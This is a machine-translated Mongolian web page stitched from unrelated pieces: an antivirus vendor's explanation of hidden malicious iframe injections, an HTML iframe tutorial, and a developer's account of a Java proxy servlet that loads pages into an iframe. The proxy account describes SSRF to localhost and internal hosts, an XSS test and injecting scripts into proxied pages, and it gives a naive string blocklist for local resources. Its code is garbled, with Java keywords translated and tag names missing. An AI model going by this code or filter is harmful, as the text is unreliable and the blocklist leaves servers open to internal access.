HTML-д iframe хэрхэн оруулах вэ: ашиглах жишээ. Iframe ба Frame - энэ нь юу вэ, Html-д фреймүүдийг хэрхэн ашиглах вэ? Хуудасны код дахь харьцангуй URL-уудыг үнэмлэхүй болгон өөрчлөх

Вэбсайтад зочилсон хүмүүсийн компьютерийг халдварлах хамгийн түгээмэл аргуудын нэг бол хэрэглэгчийн хөтчийн буфер хэт ихэссэнтэй холбоотой эмзэг байдлыг ашиглах явдал юм. Жор нь маш энгийн. Халдагчид вэб сайтын хуудсанд iframe оруулах замаар хортой код оруулж, сэжиггүй хэрэглэгчийн компьютерт хортой файлуудыг татаж авахыг оролддог. Таны вэбсайт дээрх ийм хортой оруулгыг илрүүлэхэд маш хялбар байдаг. Та iframe холболтыг ашигладаг кодын хэсгүүдэд анхаарлаа хандуулах хэрэгтэй. Ийм оруулга нь HTML болон PHP файлуудын аль алинд нь байж болно.

Халдагчид бараг үргэлж хорлонтой бооцооны хэрэглээг эзэмшигчдээс аль болох нууж, нөөцийн хэрэглэгчдэд харагдахуйц байдлаар нууж, кодыг нь бүдгэрүүлэхийг оролддог.

Хэрэглэгчдийн нүднээс iframe оруулгыг нууж байна

Хортой оруулгыг нуун далдлахын тулд хакерууд ихэнх тохиолдолд ижил аргыг дахин дахин ашигладаг - тэд шошгоны шинж чанарыг хуудсан дээр харуулахгүй, харин кодонд нь агуулагдахаар тохируулдаг. Ихэнхдээ өргөн ба уртыг тэг эсвэл нэг пикселээр тохируулдаг: өргөн = "1px", өндөр = "1px".

Жишээлбэл, хортой код дараах байдалтай байж болно.

Гэсэн хэдий ч хакерууд ихэнхдээ өөрсдийгөө ийм өнгөлөн далдлахаар хязгаарладаггүй бөгөөд энэ нь ахисан түвшний програмистуудад ч гэсэн хайлт, устгах ажлыг төөрөгдүүлж, төвөгтэй болгодог илүү нарийн техникээр далдлах ажлыг нөхдөг.

Бухимдал

Энэ нь бүтэцгүй хэл дээр (жишээлбэл, PHP гэх мэт) програмчлалын кодыг хамгаалах хамгийн түгээмэл аргуудын нэг юм. Үнэн хэрэгтээ бүх шифрлэлт нь хувьсагчид болон бусад элементүүдийн нэрийг өөрчлөх замаар кодыг өөрөө холих/төөрөгдүүлэх явдал юм. Үүний үр дүнд бүдэгрүүлсэн кодын хорлонтой байдлын шинж тэмдгийг таних нь нэлээд хэцүү бөгөөд зөвхөн бүдүүлэг болгоход тусгайлан ашигладаг JS (JavaScript) тусгай функцуудыг шууд бус байдлаар ашиглах боломжтой байдаг: unescape , fromCharCode .

Гэсэн хэдий ч вэбсайтаас ойлгомжгүй код олсон нь энэ нь аюултай эсвэл устгахад хялбар гэсэн үг биш юм. Юуны өмнө халдагчид кодыг бүдгэрүүлж, сайтын ажлын кодын нэг хэсгийг олж авах боломжтой гэдгийг та ойлгох хэрэгтэй. Энэ тохиолдолд та шифрлэгдсэн фрагментийг таслахыг оролдох үед та нөөцөө сүйрүүлэх эрсдэлтэй. Хоёрдугаарт, нууцлагдсан код нь хортой биш, зөвхөн CMS эсвэл түүний бие даасан бүрэлдэхүүн хэсгүүд, түүнчлэн суулгасан нэмэлт модулиудын үйл ажиллагааны үр дагавар байж болно.

Ямар ч тохиолдолд, хэрэв та сэжигтэй ойлгомжгүй кодтой тулгарвал та маш болгоомжтой ажиллах хэрэгтэй.

Халдварын бусад шинж тэмдэг

Хэрэв та олсон код хортой эсэхэд эргэлзэж байвал шууд бус шинж тэмдгүүдэд дүн шинжилгээ хийхийг оролдож болно. Хэрэв таны сайтад олон тооны файл байгаа бол огноо, цагийг анхаарч үзэхийг хүсч болно сүүлчийн өөрчлөлтфайлууд. Хэрэв та өөрийн CMS файлуудтай хэрхэн ажиллах хувилбаруудыг сайн мэддэг бол нэг өдөр өөрчлөгдсөн файлуудыг нэгэн зэрэг, эсвэл ижил хугацааны интервалд, жишээлбэл, 1 секундын өөрчлөлттэй танилцаж болно.

Хэрэв та дэвшилтэт програмист бол өөрийн сайт дээрх бүх файлаас илрүүлсэн оруулга байгаа эсэхийг шалгах скрипт бичиж болно. Хэрэв та илүү дэвшилтэт бол скриптийг оруулгыг таслахыг албадаж болно, гэхдээ та үргэлж болгоомжтой байх хэрэгтэй.

Альтернатив аргууд

Та ахисан түвшний мэргэжилтэн байсан ч хортой оруулгыг устгахын тулд Virusday үйлчилгээг ашиглахыг зөвлөж байна. Манай үйлчилгээ нь хортой кодыг олоход ашиглаж болох олон гарын үсгийг агуулдаг төдийгүй цаг хугацаа хэмнэдэг! Нэмж дурдахад Virusday-ийг цэвэрлэхэд ашиглах зардал нь таны цагийг төлөхөөс хамаагүй бага байх болно. Та зөвхөн iframe оруулгууд төдийгүй бусад олон аюулыг илрүүлж, устгах боломжтой болно. Та Shell гэх мэт iframe оруулгууд таны сайт дээр гарч ирэх аюулыг олж автоматаар устгах боломжтой байх.

Вирусын эсрэг үйлчилгээний баг.

Вэбсайтыг бий болгох эхэн үед вэб эх сурвалжууд хуудсын бие даасан хэсгүүдийг харуулахын тулд хүрээг өргөн ашигладаг байсан. Гэхдээ ирснээр шинэ хувилбар HTML 5 бүх зүйлийг өөрчилсөн. Тэмдэглэгээний элементүүд , мөн хуучирсан. Тэдгээрийг нэг шошгоор сольсон - . Хэрхэн html дээр нэмэх вэ? Доорх жишээ нь програмчлалын эхлэгчдэд ч ойлгомжтой байх болно.

Хүрээ гэж юу вэ?

Хүрээ нь ихэнх вэб хуудасны үндэс суурь болдог. Хэрэв шууд орчуулбал энэ үг нь "хүрээ" гэсэн утгатай, өөрөөр хэлбэл хүрээ нь хөтөч дээрх хуудасны жижиг хэсэг юм. Өмнө нь фреймийн өргөн хэрэглээг интернетийн урсгалын чанар муу, өндөр өртөгтэй холбон тайлбарлаж болно. Дүрмээр бол сайтыг 3-5 хэсэгт хуваасан бөгөөд тус бүр нь тодорхой зорилготой байв.

  • "толгой" (хуудасны өргөний дагуух дээд хүрээ) - нөөцийн нэрийг харуулна;
  • зүүн/баруун "шил" - цэсийн дэлгэц;
  • Төв хүрээ нь сайтын агуулгын дэлгэц юм.

Хуудсыг хэсэг болгон хуваах нь түүнийг шинэчлэх үед зөвхөн тодорхой хэсгийг хэт ачаалах боломжтой болгосон. Жишээлбэл, хэрэглэгч цэсийн зүйл дээр дарж, шинэ контентыг төв хүрээ рүү татаж авсан.

HTML 5 дахь орчин үеийн хүрээ

Энэ нь яагаад HTML-д хэрэгтэй вэ? Жишээ нь гуравдагч талын эх сурвалжаас контент оруулах явдал юм. Сонгодог нөхцөл байдал бол вэб хөгжүүлэгч газрын зураг дээр объектын байршлыг харуулахыг хүсдэг. Би юу хийх хэрэгтэй вэ? Сайтын төлөвлөгөөг эхнээс нь зурах уу? Үгүй - илүү энгийн шийдэл байна: хуудсан дээр Google газрын зураг, Yandex газрын зураг эсвэл 2GIS элементийг оруулах. Асуудлыг дөрвөн үе шаттайгаар шийддэг.

  • Та ямар ч газрын зургийн үйлчилгээний вэбсайт руу орох хэрэгтэй.
  • Хүссэн объектоо олоорой. Яг хаягийг нь мэдсэний дараа хайлтын цонхонд оруулах боломжтой.
  • "Хадгалж, код авах" товчийг (Yandex.Maps-д) эсвэл "Дууссан" товчийг ашиглана уу Гүүгл газрын зураг) оруулах кодыг авна уу.
  • Үүсгэсэн тэмдэглэгээг хуудас руу оруулах л үлдлээ.
  • Нэмж дурдахад та газрын зургийн хэмжээг сонгож, бусад дэлгэцийн сонголтыг тохируулах боломжтой.

    Үүнийг HTML дээр өөр яаж ашиглах вэ?? Жишээ нь Youtube эх сурвалжаас видео материал оруулах явдал юм. Мультимедиа технологи нь интернет хэрэглэгчдийн анхаарлыг татдаг тул видео контент маш их алдартай байдаг. Хөгжүүлэгч нь видеог суулгах ажлыг хурдан гүйцэтгэх болно.

  • Та өөрийн видеогоо Youtube-д байршуулах эсвэл цацах гуравдагч талын файл хайх хэрэгтэй.
  • "HTML Code" товчийг сонгоод шошгыг аваарай
  • Эцсийн алхам бол наах явдал юм. Үүссэн шошгоны агуулгын жишээг доор авч үзэх болно.
  • Хоёр жишээнд автомат код үүсгэх ашигласан боловч мэргэжлийн хөгжүүлэгчид өөрсдөө код бичих чадвартай байх ёстой. Нэгдүгээрт, энэ нь тэдэнд хуудасны зохион байгуулалтыг ойлгож, шаардлагатай бол өөрчлөх боломжийг олгоно. Хоёрдугаарт, сайтын элементүүдийн тэмдэглэгээ (хэдийгээр тэдгээр нь гадаад эх сурвалжид хамаарах ч) вэбмастерын оролцоогүйгээр үргэлж үүсдэггүй. Хөгжүүлэгчийн өндөр ур чадвар энд л гарч ирдэг.

    Синтакс

    Тиймээс, та хуудсыг байрлуулж эхлэхээсээ өмнө iframe (html) хаягийг авч үзэх хэрэгтэй: энэ нь юу вэ, үүнийг хэрхэн зөв ашиглах вэ.

    Юуны өмнө шошго нь хосолсон гэдгийг тэмдэглэх нь зүйтэй. Нээх, хаах элементүүдийн хооронд та энэ тэмдэглэгээний элементийг дэмждэггүй хөтөч дээр харуулах контентыг зааж өгнө. Үндсэн шошгоны шинж чанарууд:

    • өргөн (өргөн);
    • өндөр (өндөр);
    • src (татаж авсан нөөцийн хаяг);
    • тэгшлэх (тэгцүүлэх арга);
    • хүрээний хүрээ;
    • зөвшөөрөгдсөн дэлгэц.

    Тиймээс код нь . HTML жишээг доор бүрэн эхээр нь үзүүлэв.

    Дээрх тэмдэглэгээнд сайтын хаягийг өөр хаягаар сольж, шаардлагатай бол хүрээний хэмжээг тохируулахад хангалттай.

    Бүрэлдэхүүн

    Хүрээ

    Энэ нь юу хийдэг вэ?

    HTML хуудсанд хуудас хэрхэн оруулах вэ? Үүнийг хийхийн тулд та өөр HTML баримтыг харуулсан одоогийн баримт бичигт доторлогооны хүрээ үүсгэдэг -г ашиглах хэрэгтэй.

    Дэлгэц

    Дэлгэцийн блок.

    Жишээ код

    Хүчирхэг хэрнээ хэрэглэхэд хялбар

    Хуучин вэб дизайны муу үед хөгжүүлэгч бүрийн амьдралыг сүйтгэсэн олон элементүүд байсан. Тэд бараг үргэлж дизайны буруу хандлагатай байсан. Аз болоход энэ элемент HTML5-д хуучирсан байна. Гэхдээ "дотор хүрээ" боломжтой хэвээр байна. Дараагийн хувилбарт энэ нь хуучирагдах уу? Магадгүй бид үүнээс зайлсхийх хэрэгтэй болов уу? HTML хуудас үүсгэх үед энэ элементийн хэд хэдэн хүчинтэй хэрэглээ байдаг. Гэхдээ алдаа гаргахгүйн тулд энэ нь юу болохыг, хэрхэн ажилладагийг ойлгох хэрэгтэй.

    Ижил төстэй ба ялгаа ба

    Эдгээр хоёр элемент нь тусдаа HTML баримт үүсгэх боломжийг олгодог. Одоогийн вэб хуудаснаас иш татсан баримт бичгийн агуулгын холбоосыг src шинж чанарт зааж өгсөн болно.

    . . . . . .

    ба хоёрын гол ялгаа нь HTML баримт бичигт давуу эрх олгох дүрмийг хэрэгжүүлдэгт оршино. Агуулга нь одоогийн баримт бичгийн нэг хэсэг болох элемент дотор харагдана. Жишээ болгон YouTube-ээс авсан энэхүү суулгагдсан видеог авч үзье.

    Видео нь HTML хуудсан дээр байгаа бөгөөд зарим дээр биш тусдаа самбар. элемент нь энэхүү парадигмыг эвдэж, баримт бичигт хөтчийн цонхыг хянах боломжийг олгож, үүнийг хэд хэдэн жижиг самбар (хүрээ) болгон хувааж, тус бүр нь тусдаа баримт бичгийг харуулдаг. Бусад бүх ялгаа нь энэ үндсэн ялгаанаас үүдэлтэй.

    Frame-д суурилсан бүдүүвчийг iframes-ээр дахин бүү хий

    Хэзээ нэгэн цагт та жааз ашиглан бүтээсэн хуучин вэбсайтаа шинэчлэх ажилтай тулгарч магадгүй юм. Та мөн адил хар дарсан зүүд бие даасан хавтан болон тавцанг дахин бий болгохын тулд тогтмол өргөнтэй зохион байгуулалтыг ашиглаж болно. Гэхдээ та ашиглах боломжгүй болно зорилтот шинж чанархолбоосыг тусдаа хүрээнд нээх. Та JavaScript шийдлүүдийг хайж эхлэх боломжтой. Битгий тэгээч.

    Сайн (болон аймшигтай) хэрэглээ

    Хэд хэдэн хүчинтэй хэрэглээний тохиолдол байдаг HTML үүсгэххуудаснууд:

    • гуравдагч этгээдийн медиа контентыг оруулах;
    • платформ хоорондын баримт бичгээр дамжуулан өөрийн медиа контентыг оруулах;
    • оруулах кодын жишээ;
    • гуравдагч талын "аплет"-ыг төлбөрийн хэлбэр болгон оруулах.

    Зарим аймшигтай хэрэглээний тохиолдлууд энд байна:

    • Фото зургийн цомог;
    • форум эсвэл чат.

    Хэрэв та бие даасан, өмнө нь байгаа HTML баримтуудыг одоогийнх руу оруулах шаардлагатай бол -г ашиглана уу. Хэрэв та бүх зүйлийг эхнээс нь барьж байгаа бол хуудасны дизайныг олон тусдаа баримт бичиг болгон хуваах шалтгаан байхгүй. Ялангуяа тэдгээр нь бие даасан контент биш бол.

    iframe шинж чанарууд
    Аттрибутын нэр Утга Тодорхойлолт
    хамгаалагдсан хязгаарлагдмал орчин Зөвшөөрөх-ижил гарал үүсэл
    Дээд талын навигацийг зөвшөөрөх
    Зөвшөөрөх маягтууд
    Зөвшөөрөх-скриптүүд
    Хүрээнд ачаалагдсан контентод хэд хэдэн хязгаарлалт тавьдаг. HTML хуудас үүсгэхээс өмнө тохируулна уу.
    гүйлгэх тиймээ автомат байхгүй Хүрээнд гүйлгэж харуулах эсэхийг тодорхойлно. HTML5 дээр хуучирсан. Оронд нь CSS ашиглана уу.
    Нэр Нэр Хүрээний нэрийг зааж өгнө.
    Зохицуулах зүүн баруун дээд
    дунд ёроол
    Хүрээлэн буй элементүүдтэй харьцуулахад хүрээний тэгш байдлыг тодорхойлно. Хуучирсан. Оронд нь CSS ашиглана уу.
    хүрээ тийм (эсвэл 1)
    үгүй
    Хүрээний эргэн тойронд хүрээг харуулахыг идэвхжүүлэхэд ашигладаг. HTML5 дээр хуучирсан. Оронд нь CSS ашиглана уу.
    longdesc URL Хүрээний агуулгын урт тайлбарыг агуулсан хуудасны URL-г тодорхойлоход ашигладаг. Хуучирсан. Оронд нь CSS ашиглана уу.
    захын өргөн пиксел Агуулгаас хүрээний хүрээ хүртэлх дэвсгэрийн өргөнийг хянахад ашигладаг. Хуучирсан. Оронд нь CSS ашиглана уу.
    src URL IFRAME-д харуулах баримт бичгийн URL-г зааж өгнө.
    vspace пиксел Хүрээнээс хүрээлэн буй контент хүртэлх босоо захын зайг тохируулна. Хуучирсан. Оронд нь CSS ашиглана уу.
    өргөн пиксел % Хүрээний өргөнийг тодорхойлно HTML хуудас.

    Энэхүү нийтлэл нь төслийн найрсаг багийнхны бэлтгэсэн "" нийтлэлийн орчуулга юм

    Бид Google Webmaster Marker хэрэгслийн аналогийг хийсэн. Marker нь Google Webmaster акаунт дахь Нээлттэй График хуудсанд шошготой тайлбар хийх боломжийг олгодог хэрэгсэл гэдгийг танд сануулъя. Үүнийг хийхийн тулд та хулганаараа хуудасны текстийн хэсгийг сонгоод энэ нь гарчиг, энэ нь үнэлгээ гэдгийг зааж өгнө. Таны хуудсыг вэбмастерын дансны Iframe-д ачааллаа.

    Одоо Google таны сайт дээр үүнтэй төстэй хуудастай тулгарсан тул түүн дээр ямар төрлийн контент нийтлэгдсэнийг, мөн мөн чанарыг нь хэрхэн сайхан задлахаа мэддэг болсон (нийтлэл, бүтээгдэхүүн, видео..)

    Бидэнд ижил төстэй функц хэрэгтэй байсан. Даалгавар нь энгийн бөгөөд зөвхөн үйлчлүүлэгчийн талд л санагдсан. Гэсэн хэдий ч бодит байдал дээр шийдэл нь клиент болон серверийн уулзварт оршдог ("цэвэр" JS програмистууд янз бүрийн прокси серверүүдийн талаар юу ч мэдэхгүй байж магадгүй бөгөөд төсөлд хандахад маш их цаг зарцуулдаг). Гэсэн хэдий ч би интернетээс бүхэл бүтэн технологийг эхнээс нь дуустал тайлбарлах нийтлэл олдсонгүй. Мөн тусалсан BeLove хэрэглэгч болон хамгаалалтын албаныханд баярлалаа гэж хэлмээр байна.

    Манай тохиолдолд бид вэбмастерыг өөрийн хуудсан дээрх тодорхой элементүүдийн xPath утгыг хялбархан (хулганаар дарж) авахыг хүссэн.

    Iframe "Ижил гарал үүсэл" Тиймээс манай админ самбар дээр хүн өөрийн сайтын хуудасны URL-г оруулах ёстой, бид үүнийг iFrame дээр харуулах болно, тухайн хүн шаардлагатай газар хулганаа зааж, шаардлагатай xPath-ийг авах болно. Бүх зүйл зүгээр байх байсан ч хөтчийн аюулгүй байдлын бодлогын улмаас манай админ самбарын (манай домэйн) iframe-д ачаалагдсан өөр домэйны хуудасны агуулгад хандах боломжгүй байна.CORS - Эх сурвалжийг хооронд нь хуваалцах Зарим хүмүүс надад зөвлөсөн. CORS ашиглах. Хөтөч дээрх өөр домэйны контент руу нэвтрэхтэй холбоотой олон асуудлыг шийдэж, ижил гарал үүслийн бодлогын хязгаарлалтыг давах боломжийг олгодог загварлаг технологи.
    Хэн нэгний домэйны хуудсан дээрх контент руугаа хандахыг хүссэн сайт нь http толгой хэсэгт дараах зүйлийг бичнэ.
    Хандалт-Хяналт-Зөвшөөрөх-Үүсэл: http://example.com
    Мөн гарчигт http хүсэлтХөтөчөөс өөр домэйны хуудаснаас гарч ирэх талбар байх ёстой:
    Гарал үүсэл: www.mysupersite.com
    Хөтөч өөрөө хүсэлтэнд гарал үүслийн талбарыг нэмдэг нь ойлгомжтой. Habré-ийн нийтлэлийг харцгаая, орчин үеийн хөтөчүүд ижил домэйны хүсэлтэд Origin-ийг нэмдэг болохыг харцгаая.

    Гэсэн хэдий ч:

  • хөтөч гарал үүслийг заадаггүй iframe доторх хуудсыг ачаалах хүсэлтийн толгой хэсэгт (яагаадыг хэн нэгэн тайлбарлаж чадах уу?)
  • Бид вэбмастеруудаас Access-Control-Allow-Origin толгой хэсгийг зааж өгөхийг хүсэхгүй байна
  • Iframe хамгаалагдсан хязгаарлагдмал орчин Өөр нэг загварлаг технологи. Sandbox нь Iframe тагийн шинж чанар юм. Энэ атрибутын утгуудын нэгийг зөвшөөрөх-ижил гаралтай гэж тохируулж болно. Би энэ сэдвийг судалж эхлэхээсээ өмнө энэ шинж чанар яг юу болохыг мэдэхгүй байсан ч энэ нь маш сонирхолтой сонсогдож байсан. Гэсэн хэдий ч, хамгаалагдсан хязгаарлагдмал орчны атрибут нь iframe-д ачаалагдсан хуудас юу хийж чадахыг зүгээр л хязгаарладаг бөгөөд үндсэн баримтаас хүрээний агуулгад хандах асуудалд ямар ч хамаагүй.

    Тодруулбал, зөвшөөрөгдсөн ижил гарал үүслийн утга (эсвэл энэ нь байхгүй) iframe-г үргэлж гадаад домэйноос ачаалагдсан гэж үзэх ёстойг хэлдэг (жишээлбэл, та илгээх боломжгүй. AJAX хүсэлтэх баримт бичгийн домайн руу)

    Google үүнийг хэрхэн хийснийг харцгаая. Том ах үүнийг хэрхэн хийснийг харах цаг болжээ

    iframe элементийн src шинж чанарт анхаарлаа хандуулцгаая: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - манай хуудас админ самбарт ачаалагдсан. Google домэйн. Цаашилбал, энэ нь бүр илүү ноцтой юм: эх баримт бичигт байгаа скриптүүд болон зургуудыг прокси ашиглан ажиллуулдаг. Бүх src, href...-г html дээр проксигээр сольсон. Энэ нь иймэрхүү зүйл:

    Таны хуудасны ашигладаг бүх нөөц Google прокси сервер дээр хадгалагддаг. Энд жишээ нь манайх байна.

    CGIProxy? Үүнтэй ижил зүйлийг хийхийн тулд та CGIProxy шиг бүрэн эрхт прокси суулгах хэрэгтэй юм шиг санагдлаа. Энэ прокси сервер нь Google-н wmthighlighter.googleusercontent.com-той ойролцоо үйлдэл хийдэг
    Хайлтын сессийг эхлүүлэхийн тулд скриптийн URL-д зочилно уу. Проксигоор дамжуулан хуудас авсны дараа түүний холбогдсон бүх зүйл автоматаар проксигаар дамжих болно. Та хайсан хуудсуудынхаа хавчуургыг тэмдэглэж болох бөгөөд таны хавчуурга анхных шигээ проксигоор дамжих болно. Өөрийн прокси! Гэсэн хэдий ч, хэрэв та даалгаврыг нарийсгах юм бол энгийн прокси өөрөө бичих нь илүү хялбар болно. Үнэн хэрэгтээ Google үүнийг хийдэг бөгөөд бүх хуудасны агуулгыг проксигаар илгээх нь огт шаардлагагүй юм. Манай домэйноос үйлчлэхийн тулд бидэнд ямар ч хуудасны html хэрэгтэй бөгөөд эх сурвалжийг эх домэйноос ачаалж болно. Бид одоогоор HTTPS-г устгасан.
    Энд супер гүйцэтгэл эсвэл тохиромжтой тохиргоо шаардлагагүй бөгөөд үүнийг node.js-ээс php хүртэлх бүх зүйлийг ашиглан хурдан хийж болно. Бид Java хэл дээр сервлет бичсэн. Хуудсыг татаж авах Прокси сервлет юу хийх ёстой вэ? Get параметрийг ашиглан бид ачаалах шаардлагатай хуудасны url хаягийг аваад хуудсыг татаж авна уу.

    Хуудасны кодчилолыг тодорхойлохоо мартуузай (http хариулт эсвэл html-ийн тэмдэгтээр) - манай прокси нь бидний ачаалсан хуудастай ижил кодчилолд хариу өгөх ёстой. Бид мөн тухайн хуудсыг текст/html хэлбэрээр авч байгаа нь тодорхой байгаа ч гэсэн Агуулгын төрлийг тодорхойлох болно.
    эцсийн мөр url = request.getParameter("url"); эцсийн HttpGet requestApache = шинэ HttpGet(url); эцсийн HttpClient httpClient = new DefaultHttpClient(); эцсийн HttpResponse responseApache = httpClient.execute(requestApache); эцсийн HttpEntity entity = respondApache.getEntity(); эцсийн мөр кодчилол = EntityUtils.getContentCharSet(аж ахуйн нэгж); эцсийн String mime = EntityUtils.getContentMimeType(аж ахуйн нэгж); String responseText = IOUtils.toString(entity.getContent(), кодчилол);
    *Бусдын кодыг үнэлэх дуртай хүмүүст: Манай багийн хувьд хүн бүр адил Elicpse кодын форматлах тохиргоотой байдаг ба файлыг хадгалахдаа өөр хаана ч өөрчлөгдөхгүй бол Eclipse өөрөө бүх хувьсагчид эцсийн байдлаар нэмдэг. Энэ нь эцэст нь нэлээд тохиромжтой юм.

    Хуудасны код дахь харьцангуй URL-уудыг үнэмлэхүй болгож өөрчлөх Та хуудсан дээрх src болон href бүхий бүх шинж чанаруудыг (загварын файлуудын зам, зураг) үзэж, харьцангуй URL-уудыг үнэмлэхүй хаягаар солих хэрэгтэй. Үгүй бол хуудас нь манай прокси дээрх зарим фолдероос зураг татаж авахыг оролдох бөгөөд энэ нь бидэнд байхгүй. Аль ч хэл дээр бэлэн ангиуд байдаг, эсвэл та stackoverflow дээр кодын хэсгүүдийг олох боломжтой:
    эцсийн URI uri = шинэ URI(url); эцсийн String хост = uri.getHost(); respondText = RelativeLinks-ийг солих(хост, хариу Текст); html илгээж байна. Ингээд л прокси сервлет бэлэн боллоо. Бид хариу илгээж, шаардлагатай кодчилол болон MIME-г тохируулна.
    хамгаалагдсан хүчингүй sendResponse(HttpServletResponse хариулт, String responseText, String encoding, String mime) нь ServletException, IOException шиддэг (responsive.setContentType(mime); response.setCharacterEncoding(кодлох); response.setStatus(HttpServlet_Response(HttpServlet_Response).SCWriget); print(responseText); response.flushBuffer(); ) Байршуулж, туршиж үзээрэй Манай прокси сервлетийг adminpanel.indexisto.com-н админ самбартай ижил хаягаар байрлуулж, вэбмастерын вэб сайтын хуудсыг проксигоор дамжуулан манай iframe руу ачаалж, домэйн дамнасан бүх асуудлуудыг суулгаарай. алга болно.
    Манай прокси ажилладаг
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - манай домэйноос төв ингэж ачаалагдах болно. Бид энэ хаягийг iframe-д өгч, админ самбар дээрх JS-ээр дамжуулан төвийн DOM мод руу нэвтрэхийг оролддог - бүх зүйл ажилладаг. Хуудсыг манай прокси-ээс күүкигүй ачаалснаас хойш CSRF нь ажиллахгүй нь ойлгомжтой. SSRF-ийн асуудал "localhost" хаягтай сайтыг iframe руугаа ачаалцгаая - уу, ингээд явж байна. эхлэх хуудасманай nginx. Манай прокси сервертэй ижил сүлжээнд дотоод (гаднаас харагдахгүй) нөөцийг туршиж үзье. Жишээ нь securityd_crm.indexisto.com - бүх зүйл байрандаа байна.
    Мэдээжийн хэрэг, бид эдгээр зүйлийг прокси дээрээ хориглохыг хичээж байгаа, хэрэв хэн нэгэн localhost-ыг прокси хийхийг оролдвол бид юу ч буцаалгүйгээр гарна.
    if (url.contains("localhost")||url.contains("127")||url.contains("тодруулагч")||url.contains("file")) ( LOG.debug("Авахыг оролдож байна" орон нутгийн нөөц. Url = " + url); буцах; )
    Гэхдээ бид энд сүлжээний бүх нөөцийг жагсаахгүй. Энэ нь бид прокси-г бүрэн тусгаарлагдсан орчинд шилжүүлэх шаардлагатай гэсэн үг бөгөөд ингэснээр машин Интернет, өөрөө болон бидний проксигээс өөр юу ч харахгүй байх ёстой. Бид машинаа сонгоод тэнд серверээ тохируулж ажиллуулна. XSS асуудал Бид өөрийн iframe руу хуудсаа байршуулж, дээр нь бичих болно:
    анхааруулга("xss")
    Сэрэмжлүүлэг гарч ирнэ. Харамсалтай нь. Үүнийг iframe хамгаалагдсан хязгаарлагдмал орчинд зөвшөөрөх-скрипт атрибутаар тойрч болно, гэхдээ энэ шинж чанарыг үнэхээр ойлгодоггүй хуучин хөтчүүдийг яах вэ? Та зөвхөн жигнэмэгээ хулгайлж чадна, гэхдээ та үүнийг хэвээр үлдээж чадахгүй.
    Бид сервлетийг зөвхөн тусдаа машин руу шилжүүлээд зогсохгүй түүнд тусдаа дэд домайн highlighter.indexisto.com өгдөг.

    Бид хүрч ирээд, домайн хоорондын хязгаарлалтыг давж, өөрсдийн шийдлийг эвдсэн. Одоо бид iframe контент руу дахин хүрч чадахгүй байна.

    Google-ээс шийдлийг үргэлжлүүлэн хайж, би проксигаар дамжуулан үйлчилдэг хуудсыг тусдаа цонхонд нээсэн

    Тэгээд би консол дээр хачин алдаа байгааг анзаарсан.
    CrossPageChannel: Холбогдох боломжгүй, ижил цонхны объектыг тохируулаагүй байна.
    Бүх зүйлийг цэгцлэх нь таны домэйноос iframe руу хуудас ачаалахаас илүү төвөгтэй байсан нь тодорхой болсон. Хуудсууд хоорондоо харилцдаг. Үүний дагуу бид window.postMessage руу шилждэг

    Мессеж нийтлэх Вэбмастерыг хулганаар хулганаар сонгож, дараа нь эдгээр элементийн xPath-ийг үндсэн баримт бичигт postMessage-ээр дамжуулан илгээх боломжийг баталгаажуулж, манай скриптийг хуудас руугаа оруулахыг албадах нь хүнлэг бус хэрэг байв. Гэсэн хэдий ч, хэн ч манай проксиг iFrame-д ачаалагдсан хуудсанд ямар нэгэн скрипт оруулахад саад болохгүй.
    Бид хэрэгжүүлэхэд шаардлагатай бүх скриптүүдийг файлд хадгалж, хаалтын хэсгийн өмнө оруулна.
    final int positionToInsert = respondText.indexOf(""); эцсийн InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); эцсийн StringWriter бичигч = шинэ StringWriter(); IOUtils.copy(inputStream, бичигч); эцсийн мөр jsToInsert = writer.toString(); answerText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
    туршихын тулд бид анхааруулга оруулдаг - бүх зүйл ажилладаг. JS хэсэг - бид хулганын доор байрлах байшингийн элементийг тодруулж, xpath авах болно. За, вэбмастерын хуудсанд оруулсан бодит JS рүү шилжье.
    Хүн хулганаа хөдөлгөдөг домын элементүүдийг тодруулах хэрэгтэй. Үүнийг сүүдэр ашиглан хийх нь дээр, учир нь дараа нь элемент хөдлөхгүй бөгөөд бүх хуудас үсрэх болно. Бид хулганыг бие дээр өлгөж, үйл явдлын бай руу харна. Үүнтэй ижил зохицуулагч дээр би элементийн xpath-ийг тооцоолдог. Нэг товшилтоор элементийн xPath-ийг тооцоолох нь илүү дээр юм, гэхдээ би энэ хэрэгжилтийн удаашралыг анзаарсангүй.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px улаан"; curXpath = getXPathFromElement(ev.target); )
    Би энд DOM элементийн xPath-г авах хэрэгжилтийг өгөхгүй байна. Үүнийг хэрхэн хийх талаар олон хэсгүүд байдаг. Эдгээр хэсгүүдийг таны хэрэгцээнд нийцүүлэн өөрчлөх боломжтой, жишээлбэл, танд зөвхөн xpath дээр шошго хэрэгтэй. Эсвэл хэрэв байгаа бол id, хэрэв ID байхгүй бол анги хэрэгтэй юу - хүн бүр өөрийн гэсэн шаардлага тавьдаг.

    Проксины жишээ энд байна нүүр хуудасСуулгасан скрипттэй Хабр:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    JS хэсэг - товшилтыг боловсруулах Iframe дээрх хуудсан дээр хүн товших нь шууд "унтрана" (iframe дээрх холбоосыг дагаж мөрдөхгүй). Бид мөн хүлээн авсан xPath-ийн мөрийг эх цонх руу илгээдэг (бид үүнийг хулганыг элемент дээр шилжүүлэх үе шатанд хадгалсан)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Ашиг! Энэ бол одоо манай админ самбар дээр вэбмастер хуудсуудынхаа элементүүдийн xpath замыг хурдан авах боломжтой.

    Нэмэлт хамгаалалт нэмье. За, бүх зүйл бидний төлөө ажилласан, гэхдээ манай прокси дэлхий рүү огт хамгаалалтгүй харагддагтай холбоотой асуудал байна. Хэн ч юуг ч прокси хийх боломжтой.

    Бид nginx-ийг проксины өмнө тавьдаг, тэр 80-р портыг сонсдог бөгөөд бид проксиг өөр порт руу устгадаг. Бид гадаад ертөнцөөс 80-аас бусад бүх портуудыг хаадаг.

